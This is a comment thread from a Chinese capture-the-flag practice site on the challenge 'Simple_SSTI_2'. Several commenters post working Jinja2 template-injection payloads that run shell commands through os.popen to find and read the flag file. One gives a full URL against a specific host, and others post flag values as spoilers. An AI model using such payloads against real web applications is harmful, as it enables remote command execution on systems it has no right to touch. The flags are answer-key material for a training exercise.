Simple_SSTI_2WEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一　　血: Tokeii
一血奖励: 3金币
解　　决: 14644
提　　示:
描　　述:
Simple_SSTI_2
...
登录回复
评论
ZeronKR1212 5月前
举报

怎么做啊，哥哥们

回复 0
kimizu 5月前
举报

SSTI模板注入，先尝试搜索有没有flag文件，发现有，cat以下就行 {{config.__class__.__init__.__globals__['os'].popen('find / -name flag').read()}} {{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}

回复 3
3347665154 5月前
举报

flag{a0a8ab35c083003f4bb44c7920b69bd1}

回复 0
jinyuxin 6月前
举报

flag{3da091678f181776084413b87192ea57}

回复 0
kylin 6月前
举报

flag{b433fd309dca8ad2f3f48656e6c0f548}

回复 0
Clumsy 6月前
举报

flag{fccecffd6c3b833b580dce1d68f23037} 解决方案：/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}%20

回复 4
浪漫至死不渝 6月前
举报

flag{fffa9cb43e10513975822893a1119edd}

回复 0
大哥大 7月前
举报

http://114.67.175.224:10955/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

回复 3
kid啦啦啦 7月前
举报

SSTI注入

回复 1
xc1919 7月前
举报

flag{06aa60a3e07059081f7f971675442daf}

回复 0

WriteUp

image
valecalida

5 金币

立即查看

评分(14)

解题动态

X9527C 攻破了该题 9小时前
llljiachen 攻破了该题 11小时前
lxqfun 攻破了该题 12小时前
lotusibm 攻破了该题 12小时前
CY0704 攻破了该题 1天前
谪云纤仙 攻破了该题 1天前
niuyichen 攻破了该题 2天前
群众里有坏人 攻破了该题 2天前
2849476730 攻破了该题 3天前
wanan9 攻破了该题 3天前
17866543127 攻破了该题 3天前
13858875884 攻破了该题 3天前
Li11111 攻破了该题 3天前
coolsword2023 攻破了该题 3天前
Spirita 攻破了该题 3天前
ZhouShaoyang 攻破了该题 4天前
18476760376 攻破了该题 4天前
laksdj 攻破了该题 4天前
1275178332 攻破了该题 4天前
18358870681 攻破了该题 5天前